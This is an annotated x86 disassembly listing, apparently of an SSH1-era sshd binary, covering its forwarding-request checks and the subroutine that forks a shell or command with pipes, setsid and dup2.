0804c80e   e9 e9 03 00 00        jmp      0804cbfc <Unknown0012+0x634>  ;1001 'xe9 x3 x0 x0' ""
0804c813   90                    nop
0804c814   83 ec 0c              sub      $0xc,%esp
0804c817   6a 00                 push     $0x0
0804c819   e8 12 9f 00 00        call     08056730 <Unknown0153>
0804c81e   89 85 34 ff ff ff     mov      %eax,0xffffff34(%ebp)  ;-204 'x34 xff xff xff' "4"
0804c824   8b 95 34 ff ff ff     mov      0xffffff34(%ebp),%edx  ;-204 'x34 xff xff xff' "4"
0804c82a   83 c4 10              add      $0x10,%esp
0804c82d   31 c0                 xor      %eax,%eax
0804c82f   80 3a 00              cmpb     $0x0,(%edx)
0804c832   0f 94 c0              sete     %al
0804c835   48                    dec      %eax
0804c836   21 c2                 and      %eax,%edx
0804c838   89 95 34 ff ff ff     mov      %edx,0xffffff34(%ebp)  ;-204 'x34 xff xff xff' "4"
0804c83e   e8 c1 9e 00 00        call     08056704 <Unknown0151>
0804c843   89 c7                 mov      %eax,%edi
0804c845   e8 ba 9e 00 00        call     08056704 <Unknown0151>
0804c84a   89 c6                 mov      %eax,%esi
0804c84c   e8 b3 9e 00 00        call     08056704 <Unknown0151>
0804c851   89 c3                 mov      %eax,%ebx
0804c853   e8 ac 9e 00 00        call     08056704 <Unknown0151>
0804c858   83 ec 0c              sub      $0xc,%esp
0804c85b   50                    push     %eax
0804c85c   53                    push     %ebx
0804c85d   56                    push     %esi
0804c85e   57                    push     %edi
0804c85f   ff b5 40 ff ff ff     pushl    0xffffff40(%ebp)  ;-192 'x40 xff xff xff' "@"
0804c865   e8 6e 32 00 00        call     0804fad8 <Unknown0034>
0804c86a   83 c4 14              add      $0x14,%esp
0804c86d   ff b5 44 ff ff ff     pushl    0xffffff44(%ebp)  ;-188 'x44 xff xff xff' "D"
0804c873   e8 30 b0 00 00        call     080578a8 <Unknown0177>
0804c878   bf 01 00 00 00        mov      $0x1,%edi  ;1 'xl x0 x0 x0' ""
0804c87d   83 c4 10              add      $0x10,%esp
0804c880   e9 33 03 00 00        jmp      0804cbb8 <Unknown0012+0x5f0>  ;819 'x33 x3 x0 x0' "3"
0804c885   8d 76 00              lea      0x0(%esi),%esi
0804c888   a1 98 db 07 08        mov      0x807db98,%eax  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c88d   85 c0                 test     %eax,%eax
0804c88f   75 0f                 jne      0804c8a0 <Unknown0012+0x2d8>
0804c891   e8 b2 9e 00 00        call     08056748 <Unknown0154>
0804c896   83 ec 0c              sub      $0xc,%esp
0804c899   68 40 ce 06 08        push     $0x806ce40  ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                      forwarding disabled in server configuration file."
0804c89e   eb 6f                 jmp      0804c90f <Unknown0012+0x347>
0804c8a0   8b 35 a8 7b 07 08     mov      0x8077ba8,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
0804c8a6   85 f6                 test     %esi,%esi
0804c8a8   74 12                 je       0804c8bc <Unknown0012+0x2f4>
0804c8aa   e8 99 9e 00 00        call     08056748 <Unknown0154>
0804c8af   83 ec 0c              sub      $0xc,%esp
0804c8b2   68 80 ce 06 08        push     $0x806ce80  ;[in .rodata] 540094808 'x58 x31 x31 x20' "X11
                                                      forwarding not permitted for this authentication."
0804c8b7   eb 56                 jmp      0804c90f <Unknown0012+0x347>
0804c8b9   8d 76 00              lea      0x0(%esi),%esi
0804c8bc   83 ec 0c              sub      $0xc,%esp
0804c8bf   68 c0 ce 06 08        push     $0x806cec0  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                      request for X11 forwarding with auth spoofing."
0804c8c4   e8 b7 34 00 00        call     0804fd80 <Unknown0039>
0804c8c9   8b 9d 30 ff ff ff     mov      0xffffff30(%ebp),%ebx  ;-208 'x30 xff xff xff' "0"
0804c8cf   83 c4 10              add      $0x10,%esp
0804c8d2   85 db                 test     %ebx,%ebx
0804c8d4   74 10                 je       0804c8e6 <Unknown0012+0x31e>
0804c8d6   83 ec 0c              sub      $0xc,%esp
0804c8d9   68 00 cf 06 08        push     $0x806cf00  ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                      error: X11 display already set."
0804c8de   e8 fd 9e 00 00        call     080567e0 <Unknown0157>
```

```
0804c8e3    83 c4 10                add     $0x10,%esp
0804c8e6    51                      push    %ecx
0804c8e7    8d 85 48 ff ff ff       lea     0xffffff48(%ebp),%eax   ;-184 'x48 xff xff xff' "H"
0804c8ed    50                      push    %eax
0804c8ee    ff 35 10 fc 07 08       pushl   0x807fc10  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c8f4    6a 03                   push    $0x3
0804c8f6    e8 31 d7 ff ff          call    0804a02c <__xstat>
0804c8fb    83 c4 10                add     $0x10,%esp
0804c8fe    85 c0                   test    %eax,%eax
0804c900    79 1a                   jns     0804c91c <Unknown0012+0x354>
0804c902    e8 41 9e 00 00          call    08056748 <Unknown0154>
0804c907    83 ec 0c                sub     $0xc,%esp
0804c90a    68 40 cf 06 08          push    $0x806cf40   ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remote host
                                                          has no X11 installed."
0804c90f    e8 68 9e 00 00          call    0805677c <Unknown0156>
0804c914    83 c4 10                add     $0x10,%esp
0804c917    e9 e0 02 00 00          jmp     0804cbfc <Unknown0012+0x634>   ;736 'xe0 x2 x0 x0' ""
0804c91c    83 ec 0c                sub     $0xc,%esp
0804c91f    6a 00                   push    $0x0
0804c921    e8 0a 9e 00 00          call    08056730 <Unknown0153>
0804c926    c7 04 24 00 00 00 00    movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0804c92d    89 85 2c ff ff ff       mov     %eax,0xffffff2c(%ebp)   ;-212 'x2c xff xff xff' ","
0804c933    e8 f8 9d 00 00          call    08056730 <Unknown0153>
0804c938    89 85 28 ff ff ff       mov     %eax,0xffffff28(%ebp)   ;-216 'x28 xff xff xff' "("
0804c93e    e8 01 95 00 00          call    08055e44 <Unknown0133>
0804c943    83 c4 10                add     $0x10,%esp
0804c946    83 e0 01                and     $0x1,%eax
0804c949    75 09                   jne     0804c954 <Unknown0012+0x38c>
0804c94b    e8 84 9d 00 00          call    080566d4 <Unknown0149>
0804c950    85 c0                   test    %eax,%eax
0804c952    74 08                   je      0804c95c <Unknown0012+0x394>
0804c954    e8 ab 9d 00 00          call    08056704 <Unknown0151>
0804c959    eb 03                   jmp     0804c95e <Unknown0012+0x396>
0804c95b    90                      nop
0804c95c    31 c0                   xor     %eax,%eax
0804c95e    83 ec 0c                sub     $0xc,%esp
0804c961    50                      push    %eax
0804c962    e8 81 d0 00 00          call    080599e8 <Unknown0209>
0804c967    83 c4 10                add     $0x10,%esp
0804c96a    85 c0                   test    %eax,%eax
0804c96c    89 85 30 ff ff ff       mov     %eax,0xffffff30(%ebp)   ;-208 'x30 xff xff xff' "0"
0804c972    0f 85 40 02 00 00       jne     0804cbb8 <Unknown0012+0x5f0>   ;576 'x40 x2 x0 x0' "@"
0804c978    e9 7f 02 00 00          jmp     0804cbfc <Unknown0012+0x634>   ;639 'x7f x2 x0 x0' ""
0804c97d    8d 76 00                lea     0x0(%esi),%esi
0804c980    8b 15 a4 7b 07 08       mov     0x8077ba4,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804c986    85 d2                   test    %edx,%edx
0804c988    74 12                   je      0804c99c <Unknown0012+0x3d4>
0804c98a    e8 b9 9d 00 00          call    08056748 <Unknown0154>
0804c98f    83 ec 0c                sub     $0xc,%esp
0804c992    68 80 cf 06 08          push    $0x806cf80   ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                          "Authentication agent forwarding not permitted for this
                                                          authentication."
0804c997    eb 60                   jmp     0804c9f9 <Unknown0012+0x431>
0804c999    8d 76 00                lea     0x0(%esi),%esi
0804c99c    f6 05 1c 7e 07 08 02    testb   $0x2,0x8077e1c   ;[in .data] 0 'x0 x0 x0 x0' ""
0804c9a3    74 0b                   je      0804c9b0 <Unknown0012+0x3e8>
0804c9a5    83 ec 0c                sub     $0xc,%esp
0804c9a8    68 e0 cf 06 08          push    $0x806cfe0   ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                          "Authentication agent forwarding denied because the
                                                          other end uses too old version."
0804c9ad    eb 4a                   jmp     0804c9f9 <Unknown0012+0x431>
0804c9af    90                      nop
0804c9b0    83 ec 0c                sub     $0xc,%esp
0804c9b3    68 40 d0 06 08          push    $0x806d040   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                          authentication agent forwarding request."
0804c9b8    e8 c3 33 00 00          call    0804fd80 <Unknown0039>
0804c9bd    58                      pop     %eax
0804c9be    ff 75 08                pushl   0x8(%ebp)
0804c9c1    e8 96 d8 00 00          call    0805a25c <Unknown0217>
0804c9c6    83 c4 10                add     $0x10,%esp
0804c9c9    85 c0                   test    %eax,%eax
0804c9cb    0f 85 e7 01 00 00       jne     0804cbb8 <Unknown0012+0x5f0>   ;487 'xe7 x1 x0 x0' ""
0804c9d1    e9 26 02 00 00          jmp     0804cbfc <Unknown0012+0x634>   ;550 'x26 x2 x0 x0' "&"
0804c9d6    89 f6                   mov     %esi,%esi
0804c9d8    8b 35 a0 7b 07 08       mov     0x8077ba0,%esi   ;[in .data] 0 'x0 x0 x0 x0' ""
0804c9de    85 f6                   test    %esi,%esi
0804c9e0    75 0a                   jne     0804c9ec <Unknown0012+0x424>
0804c9e2    8b 1d c8 db 07 08       mov     0x807dbc8,%ebx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804c9e8    85 db                   test    %ebx,%ebx
0804c9ea    75 1c                   jne     0804ca08 <Unknown0012+0x440>
0804c9ec    e8 57 9d 00 00          call    08056748 <Unknown0154>
0804c9f1    83 ec 0c                sub     $0xc,%esp
0804c9f4    68 80 d0 06 08          push    $0x806d080   ;[in .rodata] 1953656656 'x50 x6f x72 x74' "Port
```

```
                                                              forwarding not permitted for this
                                                              authentication."
0804c9f9  e8 82 33 00 00         call    0804fd80 <Unknown0039>
0804c9fe  83 c4 10               add     $0x10,%esp
0804ca01  e9 f6 01 00 00         jmp     0804cbfc <Unknown0012+0x634>  ;502 'xf6 x1 x0 x0' ""
0804ca06  89 f6                  mov     %esi,%esi
0804ca08  83 ec 0c               sub     $0xc,%esp
0804ca0b  68 c0 d0 06 08         push    $0x806d0c0  ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                        TCP/IP port forwarding request."
0804ca10  e8 6b 33 00 00         call    0804fd80 <Unknown0039>
0804ca15  8b 55 08               mov     0x8(%ebp),%edx
0804ca18  8b 4a 08               mov     0x8(%edx),%ecx
0804ca1b  31 c0                  xor     %eax,%eax
0804ca1d  85 c9                  test    %ecx,%ecx
0804ca1f  0f 94 c0               sete    %al
0804ca22  89 04 24               mov     %eax,(%esp,1)
0804ca25  e8 a2 cc 00 00         call    080596cc <Unknown0207>
0804ca2a  83 c4 10               add     $0x10,%esp
0804ca2d  e9 86 01 00 00         jmp     0804cbb8 <Unknown0012+0x5f0>  ;390 'x86 x1 x0 x0' ""
0804ca32  89 f6                  mov     %esi,%esi
0804ca34  83 ec 08               sub     $0x8,%esp
0804ca37  31 c0                  xor     %eax,%eax
0804ca39  85 ff                  test    %edi,%edi
0804ca3b  ff 35 a4 db 07 08      pushl   0x807dba4  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804ca41  75 0a                  jne     0804ca4d <Unknown0012+0x485>
0804ca43  8b 95 30 ff ff ff      mov     0xffffff30(%ebp),%edx  ;-208 'x30 xff xff xff' "0"
0804ca49  85 d2                  test    %edx,%edx
0804ca4b  74 05                  je      0804ca52 <Unknown0012+0x48a>
0804ca4d  b8 01 00 00 00         mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804ca52  50                     push    %eax
0804ca53  e8 7c 9f 00 00         call    080569d4 <Unknown0162>
0804ca58  8b 35 b4 7b 07 08      mov     0x8077bb4,%esi  ;[in .data] 0 'x0 x0 x0 x0' ""
0804ca5e  83 c4 10               add     $0x10,%esp
0804ca61  85 f6                  test    %esi,%esi
0804ca63  0f 85 b3 01 00 00      jne     0804cc1c <Unknown0012+0x654>  ;435 'xb3 x1 x0 x0' ""
0804ca69  83 ec 0c               sub     $0xc,%esp
0804ca6c  68 e9 d0 06 08         push    $0x806d0e9  ;[in .rodata] 1802661702 'x46 x6f x72 x6b' "Forking
                                                        shell."
0804ca71  e8 0a 33 00 00         call    0804fd80 <Unknown0039>
0804ca76  83 c4 10               add     $0x10,%esp
0804ca79  85 ff                  test    %edi,%edi
0804ca7b  74 37                  je      0804cab4 <Unknown0012+0x4ec>
0804ca7d  83 ec 0c               sub     $0xc,%esp
0804ca80  ff b5 28 ff ff ff      pushl   0xffffff28(%ebp)  ;-216 'x28 xff xff xff' "("
0804ca86  ff b5 2c ff ff ff      pushl   0xffffff2c(%ebp)  ;-212 'x2c xff xff xff' ","
0804ca8c  ff b5 30 ff ff ff      pushl   0xffffff30(%ebp)  ;-208 'x30 xff xff xff' "0"
0804ca92  ff b5 34 ff ff ff      pushl   0xffffff34(%ebp)  ;-204 'x34 xff xff xff' "4"
0804ca98  ff 75 08               pushl   0x8(%ebp)
0804ca9b  8d 45 a8               lea     0xffffffa8(%ebp),%eax
0804ca9e  50                     push    %eax
0804ca9f  ff b5 44 ff ff ff      pushl   0xffffff44(%ebp)  ;-188 'x44 xff xff xff' "D"
0804caa5  ff b5 40 ff ff ff      pushl   0xffffff40(%ebp)  ;-192 'x40 xff xff xff' "@"
0804caab  6a 00                  push    $0x0
0804caad  e9 b8 01 00 00         jmp     0804cc6a <Unknown0012+0x6a2>  ;440 'xb8 x1 x0 x0' ""
0804cab2  89 f6                  mov     %esi,%esi
0804cab4  83 ec 0c               sub     $0xc,%esp
0804cab7  ff b5 28 ff ff ff      pushl   0xffffff28(%ebp)  ;-216 'x28 xff xff xff' "("
0804cabd  ff b5 2c ff ff ff      pushl   0xffffff2c(%ebp)  ;-212 'x2c xff xff xff' ","
0804cac3  ff b5 30 ff ff ff      pushl   0xffffff30(%ebp)  ;-208 'x30 xff xff xff' "0"
0804cac9  ff 75 08               pushl   0x8(%ebp)
0804cacc  6a 00                  push    $0x0
0804cace  e9 bf 01 00 00         jmp     0804cc92 <Unknown0012+0x6ca>  ;447 'xbf x1 x0 x0' ""
0804cad3  90                     nop
0804cad4  83 ec 08               sub     $0x8,%esp
0804cad7  31 c0                  xor     %eax,%eax
0804cad9  85 ff                  test    %edi,%edi
0804cadb  ff 35 a4 db 07 08      pushl   0x807dba4  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cae1  75 0a                  jne     0804caed <Unknown0012+0x525>
0804cae3  8b 9d 30 ff ff ff      mov     0xffffff30(%ebp),%ebx  ;-208 'x30 xff xff xff' "0"
0804cae9  85 db                  test    %ebx,%ebx
0804caeb  74 05                  je      0804caf2 <Unknown0012+0x52a>
0804caed  b8 01 00 00 00         mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804caf2  50                     push    %eax
0804caf3  e8 dc 9e 00 00         call    080569d4 <Unknown0162>
0804caf8  c7 04 24 00 00 00 00   movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
0804caff  e8 2c 9c 00 00         call    08056730 <Unknown0153>
0804cb04  8b 0d b4 7b 07 08      mov     0x8077bb4,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cb0a  83 c4 10               add     $0x10,%esp
0804cb0d  85 c9                  test    %ecx,%ecx
0804cb0f  89 c3                  mov     %eax,%ebx
0804cb11  74 0d                  je      0804cb20 <Unknown0012+0x558>
0804cb13  89 1d b8 7b 07 08      mov     %ebx,0x8077bb8  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cb19  e9 fe 00 00 00         jmp     0804cc1c <Unknown0012+0x654>  ;254 'xfe x0 x0 x0' ""
```

```
0804cb1e  89 f6                       mov     %esi,%esi
0804cb20  83 ec 08                    sub     $0x8,%esp
0804cb23  53                          push    %ebx
0804cb24  68 f8 d0 06 08              push    $0x806d0f8   ;[in .rodata] 1667594309 'x45 x78 x65 x63' "Executing
                                                           command '%.500s'"
0804cb29  e8 52 32 00 00              call    0804fd80 <Unknown0039>
0804cb2e  83 c4 10                    add     $0x10,%esp
0804cb31  85 ff                       test    %edi,%edi
0804cb33  74 3b                       je      0804cb70 <Unknown0012+0x5a8>
0804cb35  83 ec 0c                    sub     $0xc,%esp
0804cb38  ff b5 28 ff ff ff           pushl   0xffffff28(%ebp)   ;-216 'x28 xff xff xff' "("
0804cb3e  ff b5 2c ff ff ff           pushl   0xffffff2c(%ebp)   ;-212 'x2c xff xff xff' ","
0804cb44  ff b5 30 ff ff ff           pushl   0xffffff30(%ebp)   ;-208 'x30 xff xff xff' "0"
0804cb4a  ff b5 34 ff ff ff           pushl   0xffffff34(%ebp)   ;-204 'x34 xff xff xff' "4"
0804cb50  ff 75 08                    pushl   0x8(%ebp)
0804cb53  8d 45 a8                    lea     0xffffffa8(%ebp),%eax
0804cb56  50                          push    %eax
0804cb57  ff b5 44 ff ff ff           pushl   0xffffff44(%ebp)   ;-188 'x44 xff xff xff' "D"
0804cb5d  ff b5 40 ff ff ff           pushl   0xffffff40(%ebp)   ;-192 'x40 xff xff xff' "@"
0804cb63  53                          push    %ebx
0804cb64  e8 9b 03 00 00              call    0804cf04 <Unknown0015>
0804cb69  83 c4 30                    add     $0x30,%esp
0804cb6c  eb 23                       jmp     0804cb91 <Unknown0012+0x5c9>
0804cb6e  89 f6                       mov     %esi,%esi
0804cb70  83 ec 0c                    sub     $0xc,%esp
0804cb73  ff b5 28 ff ff ff           pushl   0xffffff28(%ebp)   ;-216 'x28 xff xff xff' "("
0804cb79  ff b5 2c ff ff ff           pushl   0xffffff2c(%ebp)   ;-212 'x2c xff xff xff' ","
0804cb7f  ff b5 30 ff ff ff           pushl   0xffffff30(%ebp)   ;-208 'x30 xff xff xff' "0"
0804cb85  ff 75 08                    pushl   0x8(%ebp)
0804cb88  53                          push    %ebx
0804cb89  e8 16 01 00 00              call    0804cca4 <Unknown0013>
0804cb8e  83 c4 20                    add     $0x20,%esp
0804cb91  83 ec 0c                    sub     $0xc,%esp
0804cb94  53                          push    %ebx
0804cb95  e8 76 a3 00 00              call    08056f10 <Unknown0172>
0804cb9a  e9 fb 00 00 00              jmp     0804cc9a <Unknown0012+0x6d2>   ;251 'xfb x0 x0 x0' ""
0804cb9f  90                          nop
0804cba0  e8 a3 9b 00 00              call    08056748 <Unknown0154>
0804cba5  83 ec 08                    sub     $0x8,%esp
0804cba8  53                          push    %ebx
0804cba9  68 20 d1 06 08              push    $0x806d120   ;[in .rodata] 1852534357 'x55 x6e x6b x6e' "Unknown
                                                           packet type received after authentication: %d"
0804cbae  e8 69 30 00 00              call    0804fc1c <Unknown0036>
0804cbb3  83 c4 10                    add     $0x10,%esp
0804cbb6  eb 44                       jmp     0804cbfc <Unknown0012+0x634>
0804cbb8  83 ec 0c                    sub     $0xc,%esp
0804cbbb  6a 0e                       push    $0xe
0804cbbd  e8 52 94 00 00              call    08056014 <Unknown0138>
0804cbc2  e8 f5 94 00 00              call    080560bc <Unknown0144>
0804cbc7  e8 30 9d 00 00              call    080568fc <Unknown0159>
0804cbcc  8b 95 38 ff ff ff           mov     0xffffff38(%ebp),%edx   ;-200 'x38 xff xff xff' "8"
0804cbd2  83 c4 10                    add     $0x10,%esp
0804cbd5  85 d2                       test    %edx,%edx
0804cbd7  0f 84 57 fa ff ff           je      0804c634 <Unknown0012+0x6c>   ;-1449 'x57 xfa xff xff' "W"
0804cbdd  83 ec 0c                    sub     $0xc,%esp
0804cbe0  ff b5 3c ff ff ff           pushl   0xffffff3c(%ebp)   ;-196 'x3c xff xff xff' "<"
0804cbe6  c7 85 38 ff ff ff 00 00 00 00  movl  $0x0,0xffffff38(%ebp)   ;0 'x0 x0 x0 x0' ""
0804cbf0  e8 5b 92 00 00              call    08055e50 <Unknown0134>
0804cbf5  e9 35 fa ff ff              jmp     0804c62f <Unknown0012+0x67>   ;-1483 'x35 xfa xff xff' "5"
0804cbfa  89 f6                       mov     %esi,%esi
0804cbfc  e8 47 9b 00 00              call    08056748 <Unknown0154>
0804cc01  83 ec 0c                    sub     $0xc,%esp
0804cc04  6a 0f                       push    $0xf
0804cc06  e8 09 94 00 00              call    08056014 <Unknown0138>
0804cc0b  e8 ac 94 00 00              call    080560bc <Unknown0144>
0804cc10  e8 e7 9c 00 00              call    080568fc <Unknown0159>
0804cc15  e9 15 fa ff ff              jmp     0804c62f <Unknown0012+0x67>   ;-1515 'x15 xfa xff xff' ""
0804cc1a  89 f6                       mov     %esi,%esi
0804cc1c  83 ec 08                    sub     $0x8,%esp
0804cc1f  ff 35 b4 7b 07 08           pushl   0x8077bb4   ;[in .data] 0 'x0 x0 x0 x0' ""
0804cc25  68 60 d1 06 08              push    $0x806d160   ;[in .rodata] 1667594309 'x45 x78 x65 x63' "Executing
                                                           forced command: %.900s"
0804cc2a  e8 51 31 00 00              call    0804fd80 <Unknown0039>
0804cc2f  83 c4 10                    add     $0x10,%esp
0804cc32  85 ff                       test    %edi,%edi
0804cc34  74 3e                       je      0804cc74 <Unknown0012+0x6ac>
0804cc36  83 ec 0c                    sub     $0xc,%esp
0804cc39  ff b5 28 ff ff ff           pushl   0xffffff28(%ebp)   ;-216 'x28 xff xff xff' "("
0804cc3f  ff b5 2c ff ff ff           pushl   0xffffff2c(%ebp)   ;-212 'x2c xff xff xff' ","
0804cc45  ff b5 30 ff ff ff           pushl   0xffffff30(%ebp)   ;-208 'x30 xff xff xff' "0"
0804cc4b  ff b5 34 ff ff ff           pushl   0xffffff34(%ebp)   ;-204 'x34 xff xff xff' "4"
0804cc51  ff 75 08                    pushl   0x8(%ebp)
0804cc54  8d 45 a8                    lea     0xffffffa8(%ebp),%eax
0804cc57  50                          push    %eax
```

```
0804cc58  ff b5 44 ff ff ff      pushl  0xffffff44(%ebp)  ;-188 'x44 xff xff xff' "D"
0804cc5e  ff b5 40 ff ff ff      pushl  0xffffff40(%ebp)  ;-192 'x40 xff xff xff' "@"
0804cc64  ff 35 b4 7b 07 08      pushl  0x8077bb4  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cc6a  e8 95 02 00 00         call   0804cf04 <Unknown0015>
0804cc6f  83 c4 30               add    $0x30,%esp
0804cc72  eb 26                  jmp    0804cc9a <Unknown0012+0x6d2>
0804cc74  83 ec 0c               sub    $0xc,%esp
0804cc77  ff b5 28 ff ff ff      pushl  0xffffff28(%ebp)  ;-216 'x28 xff xff xff' "("
0804cc7d  ff b5 2c ff ff ff      pushl  0xffffff2c(%ebp)  ;-212 'x2c xff xff xff' ","
0804cc83  ff b5 30 ff ff ff      pushl  0xffffff30(%ebp)  ;-208 'x30 xff xff xff' "0"
0804cc89  ff 75 08               pushl  0x8(%ebp)
0804cc8c  ff 35 b4 7b 07 08      pushl  0x8077bb4  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cc92  e8 0d 00 00 00         call   0804cca4 <Unknown0013>
0804cc97  83 c4 20               add    $0x20,%esp
0804cc9a  8d 65 f4               lea    0xfffffff4(%ebp),%esp
0804cc9d  5b                     pop    %ebx
0804cc9e  5e                     pop    %esi
0804cc9f  5f                     pop    %edi
0804cca0  5d                     pop    %ebp
0804cca1  c3                     ret
0804cca2  89 f6                  mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine #  13 >--------------------<
  ;
0804cca4 <Unknown0013>:
0804cca4  55                     push   %ebp
0804cca5  89 e5                  mov    %esp,%ebp
0804cca7  57                     push   %edi
0804cca8  56                     push   %esi
0804cca9  53                     push   %ebx
0804ccaa  83 ec 38               sub    $0x38,%esp
0804ccad  8d 45 e8               lea    0xffffffe8(%ebp),%eax
0804ccb0  50                     push   %eax
0804ccb1  89 45 d4               mov    %eax,0xffffffd4(%ebp)
0804ccb4  e8 a3 d2 ff ff         call   08049f5c <pipe>
0804ccb9  83 c4 10               add    $0x10,%esp
0804ccbc  85 c0                  test   %eax,%eax
0804ccbe  78 28                  js     0804cce8 <Unknown0013+0x44>
0804ccc0  83 ec 0c               sub    $0xc,%esp
0804ccc3  8d 75 e0               lea    0xffffffe0(%ebp),%esi
0804ccc6  56                     push   %esi
0804ccc7  e8 90 d2 ff ff         call   08049f5c <pipe>
0804cccc  83 c4 10               add    $0x10,%esp
0804cccf  85 c0                  test   %eax,%eax
0804ccd1  78 18                  js     0804cceb <Unknown0013+0x47>
0804ccd3  83 ec 0c               sub    $0xc,%esp
0804ccd6  8d 5d d8               lea    0xffffffd8(%ebp),%ebx
0804ccd9  53                     push   %ebx
0804ccda  e8 7d d2 ff ff         call   08049f5c <pipe>
0804ccdf  83 c4 10               add    $0x10,%esp
0804cce2  85 c0                  test   %eax,%eax
0804cce4  79 28                  jns    0804cd0e <Unknown0013+0x6a>
0804cce6  eb 06                  jmp    0804ccee <Unknown0013+0x4a>
0804cce8  8d 75 e0               lea    0xffffffe0(%ebp),%esi
0804cceb  8d 5d d8               lea    0xffffffd8(%ebp),%ebx
0804ccee  83 ec 10               sub    $0x10,%esp
0804ccf1  e8 46 d1 ff ff         call   08049e3c <__errno_location>
0804ccf6  5a                     pop    %edx
0804ccf7  ff 30                  pushl  (%eax)
0804ccf9  e8 ee d0 ff ff         call   08049dec <strerror>
0804ccfe  59                     pop    %ecx
0804ccff  5f                     pop    %edi
0804cd00  50                     push   %eax
0804cd01  68 20 d2 06 08         push   $0x806d220  ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                        create pipes: %.100s"
0804cd06  e8 d5 9a 00 00         call   080567e0 <Unknown0157>
0804cd0b  83 c4 10               add    $0x10,%esp
0804cd0e  e8 1d 1c 01 00         call   0805e930 <Unknown0276>
0804cd13  e8 f4 cf ff ff         call   08049d0c <fork>
0804cd18  89 c7                  mov    %eax,%edi
0804cd1a  85 ff                  test   %edi,%edi
0804cd1c  0f 85 30 01 00 00      jne    0804ce52 <Unknown0013+0x1ae>  ;304 'x30 x1 x0 x0' "0"
0804cd22  83 ec 0c               sub    $0xc,%esp
0804cd25  ff 35 ac db 07 08      pushl  0x807dbac  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cd2b  8b 15 94 7b 07 08      mov    0x8077b94,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cd31  ff 35 8c db 07 08      pushl  0x807db8c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cd37  31 c0                  xor    %eax,%eax
0804cd39  85 d2                  test   %edx,%edx
0804cd3b  ff 35 94 7b 07 08      pushl  0x8077b94  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cd41  74 0f                  je     0804cd52 <Unknown0013+0xae>
0804cd43  8b 0d 98 7b 07 08      mov    0x8077b98,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cd49  85 c9                  test   %ecx,%ecx
```

```
0804cd4b  75 05                    jne     0804cd52 <Unknown0013+0xae>
0804cd4d  b8 01 00 00 00           mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0804cd52  50                       push    %eax
0804cd53  ff 35 34 fc 07 08        pushl   0x807fc34   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cd59  e8 ba 2d 00 00           call    0804fb18 <Unknown0035>
0804cd5e  83 c4 20                 add     $0x20,%esp
0804cd61  e8 c6 d1 ff ff           call    08049f2c <setsid>
0804cd66  85 c0                    test    %eax,%eax
0804cd68  79 20                    jns     0804cd8a <Unknown0013+0xe6>
0804cd6a  83 ec 10                 sub     $0x10,%esp
0804cd6d  e8 ca d0 ff ff           call    08049e3c <__errno_location>
0804cd72  5a                       pop     %edx
0804cd73  ff 30                    pushl   (%eax)
0804cd75  e8 72 d0 ff ff           call    08049dec <strerror>
0804cd7a  5a                       pop     %edx
0804cd7b  59                       pop     %ecx
0804cd7c  50                       push    %eax
0804cd7d  68 3f d2 06 08           push    $0x806d23f   ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsid:
                                                          %.100s"
0804cd82  e8 81 30 00 00           call    0804fe08 <Unknown0040>
0804cd87  83 c4 10                 add     $0x10,%esp
0804cd8a  83 ec 0c                 sub     $0xc,%esp
0804cd8d  8b 45 d4                 mov     0xffffffd4(%ebp),%eax
0804cd90  ff 70 04                 pushl   0x4(%eax)
0804cd93  e8 44 cf ff ff           call    08049cdc <close>
0804cd98  59                       pop     %ecx
0804cd99  58                       pop     %eax
0804cd9a  6a 00                    push    $0x0
0804cd9c  ff 75 e8                 pushl   0xffffffe8(%ebp)
0804cd9f  e8 e8 d3 ff ff           call    0804a18c <dup2>
0804cda4  83 c4 10                 add     $0x10,%esp
0804cda7  85 c0                    test    %eax,%eax
0804cda9  79 10                    jns     0804cdbb <Unknown0013+0x117>
0804cdab  83 ec 0c                 sub     $0xc,%esp
0804cdae  68 4e d2 06 08           push    $0x806d24e   ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stdin"
0804cdb3  e8 34 cf ff ff           call    08049cec <perror>
0804cdb8  83 c4 10                 add     $0x10,%esp
0804cdbb  83 ec 0c                 sub     $0xc,%esp
0804cdbe  ff 75 e8                 pushl   0xffffffe8(%ebp)
0804cdc1  e8 16 cf ff ff           call    08049cdc <close>
0804cdc6  5a                       pop     %edx
0804cdc7  ff 75 e0                 pushl   0xffffffe0(%ebp)
0804cdca  e8 0d cf ff ff           call    08049cdc <close>
0804cdcf  59                       pop     %ecx
0804cdd0  58                       pop     %eax
0804cdd1  6a 01                    push    $0x1
0804cdd3  ff 76 04                 pushl   0x4(%esi)
0804cdd6  e8 b1 d3 ff ff           call    0804a18c <dup2>
0804cddb  83 c4 10                 add     $0x10,%esp
0804cdde  85 c0                    test    %eax,%eax
